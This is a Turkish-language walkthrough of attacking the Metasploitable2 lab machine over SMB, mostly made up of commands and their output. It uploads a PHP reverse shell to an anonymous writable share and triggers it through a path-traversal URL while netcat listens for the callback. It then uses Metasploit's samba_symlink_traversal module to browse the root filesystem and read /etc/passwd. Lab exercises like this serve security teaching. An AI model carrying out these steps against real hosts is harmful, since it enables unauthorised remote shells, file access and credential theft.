Metasploitable2 makinesi üzerindeki paylaşımları ve bu paylaşımlara ait izinleri listeliyoruz.
[email protected]:~# smbmap -H 192.168.1.30
[+] Finding open SMB ports….
[+] User SMB session establishd on 192.168.1.30…
[+] IP: 192.168.1.30:445 Name: vtcsec
Disk Permissions
—- ———–
print$ NO ACCESS
tmp READ, WRITE
opt NO ACCESS
IPC$ NO ACCESS
ADMIN$ NO ACCESS
Shell Almak İçin PHP Dosyası Hazırlama
Shell almak için kullanacağımız php dosyasını hazırlayalım. Bunun için Kali’nin üzerinde bulunan hazır bir php dosyasını kullanacağız.
[email protected]:~# cd /usr/share/webshells/php/
[email protected]:/usr/share/webshells/php# ls -l
total 36
drwxr-xr-x 2 root root 4096 Sep 9 09:56 findsocket
-rw-r–r– 1 root root 2800 Jul 17 07:45 php-backdoor.php
-rwxr-xr-x 1 root root 5491 Jul 17 07:45 php-reverse-shell.php
-rw-r–r– 1 root root 13585 Jul 17 07:45 qsd-php-backdoor.php
-rw-r–r– 1 root root 328 Jul 17 07:45 simple-backdoor.php
[email protected]:/usr/share/webshells/php#
Php-reverse-shell.php dosyasını smbshell ismi ile kopyalayıp smb paylaşımına göndermek üzere hazırlıyorum.
cp php-reverse-shell.php smbshell.php
vim php-reverse-shell.php
Ekran görüntüsünde görülen CHANGE THIS yazan kısımları kendi ip adresim ve netcat ile dinlediğim port için değiştiriyorum.
Sıra geldi smb paylaşımına bağlanmaya.
[email protected]:~# smbclient //192.168.1.30/tmp
Enter WORKGROUP\root’s password:
Anonymous login successful
Try “help” to get a list of possible commands.
Smbshell dosyasını yüklemek için put komutunu kullanıyoruz. Dosya yüklendikten sonra ls komutu ile paylaşımda olup olmadığını kontrol ediyoruz.
smb: \> put smbshell.php
putting file smbshell.php as \smbshell.php (1788.4 kb/s) (average 1788.4 kb/s)
smb: \> ls -l
NT_STATUS_NO_SUCH_FILE listing \-l
smb: \> ls
. D 0 Mon Nov 4 16:45:42 2019
.. DR 0 Sun May 20 15:36:12 2012
4472.jsvc_up R 0 Mon Nov 4 15:52:46 2019
.ICE-unix DH 0 Mon Nov 4 15:52:08 2019
.X11-unix DH 0 Mon Nov 4 15:52:16 2019
.X0-lock HR 11 Mon Nov 4 15:52:16 2019
smbshell.php A 5494 Mon Nov 4 16:45:42 2019
7282168 blocks of size 1024. 5400244 blocks available
smb: \>
Shell almak için php dosyasını yükledikten sonra netcat ile shell dosyasına yazdığımız portu dinlemeye başlıyoruz.
[email protected]:~# nc -nvlp 8888
Shell almak artık bir adım uzağımızda. Metasploitable2 makinesi üzerindeki mutillidae sayfasından yüklediğimiz smbshell.php sayfasını çağırıyoruz.
192.168.1.30/mutillidae/index.php?page=../../../../../../../tmp/smbshell.php
Veee Bingo, shell almayı başardık.
Symlink ile SMB Paylaşımını Ele Geçirme
SMB paylaşımını bu sefer symlink kullarak ele geçirmeye çalışalım.
[email protected]:~# smbclient //192.168.1.33/tmp
Enter WORKGROUP\root’s password:
Anonymous login successful
Try “help” to get a list of possible commands.
smb: \> ls -l
NT_STATUS_NO_SUCH_FILE listing \-l
smb: \>
msf5 > use auxiliary/admin/smb/samba_symlink_traversal
msf5 auxiliary(admin/smb/samba_symlink_traversal) > show options
Module options (auxiliary/admin/smb/samba_symlink_traversal):
Name Current Setting Required Description
—- ————— ——– ———–
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:<path>’
RPORT 445 yes The SMB service port (TCP)
SMBSHARE yes The name of a writeable share on the server
SMBTARGET rootfs yes The name of the directory that should point to the root filesystem
msf5 auxiliary(admin/smb/samba_symlink_traversal) > set RHOST 192.168.1.33
RHOST => 192.168.1.33
msf5 auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp
msf5 auxiliary(admin/smb/samba_symlink_traversal) > exploit
[*] Running module against 192.168.1.33
[*] 192.168.1.33:445 – Connecting to the server…
[*] 192.168.1.33:445 – Trying to mount writeable share ‘tmp’…
[*] 192.168.1.33:445 – Trying to link ‘rootfs’ to the root filesystem…
[*] 192.168.1.33:445 – Now access the following share to browse the root filesystem:
[*] 192.168.1.33:445 – \\192.168.1.33\tmp\rootfs\
[*] Auxiliary module execution completed
msf5 auxiliary(admin/smb/samba_symlink_traversal) >
Smb ‘nin olduğu terminale geçiş yaparak elde edebileceklerimize göz atalım.
smb: \> cd rootfs
smb: \rootfs\> ls
. DR 0 Sun May 20 15:36:12 2012
.. DR 0 Sun May 20 15:36:12 2012
initrd DR 0 Tue Mar 16 19:57:40 2010
media DR 0 Tue Mar 16 19:55:52 2010
bin DR 0 Mon May 14 00:35:33 2012
lost+found DR 0 Tue Mar 16 19:55:15 2010
mnt DR 0 Wed Apr 28 17:16:56 2010
sbin DR 0 Sun May 13 22:54:53 2012
initrd.img R 7929183 Mon May 14 00:35:56 2012
home DR 0 Fri Apr 16 03:16:02 2010
lib DR 0 Mon May 14 00:35:22 2012
usr DR 0 Wed Apr 28 01:06:37 2010
proc DR 0 Tue Nov 5 13:03:21 2019
root DR 0 Tue Nov 5 13:03:51 2019
sys DR 0 Tue Nov 5 13:03:23 2019
boot DR 0 Mon May 14 00:36:28 2012
nohup.out R 13031 Tue Nov 5 13:03:51 2019
etc DR 0 Tue Nov 5 13:03:48 2019
dev DR 0 Tue Nov 5 13:03:41 2019
vmlinuz R 1987288 Thu Apr 10 13:55:41 2008
opt DR 0 Tue Mar 16 19:57:39 2010
var DR 0 Sun May 20 18:30:19 2012
cdrom DR 0 Tue Mar 16 19:55:51 2010
tmp D 0 Tue Nov 5 13:11:18 2019
srv DR 0 Tue Mar 16 19:57:38 2010
7282168 blocks of size 1024. 5399944 blocks available
smb: \rootfs\>
Tüm dizinleri listeleyebildiğimize göre passwd’yi okuyabiliyor olmalıyız. Kontrol edelim.
smb: \rootfs\> more /etc/passwd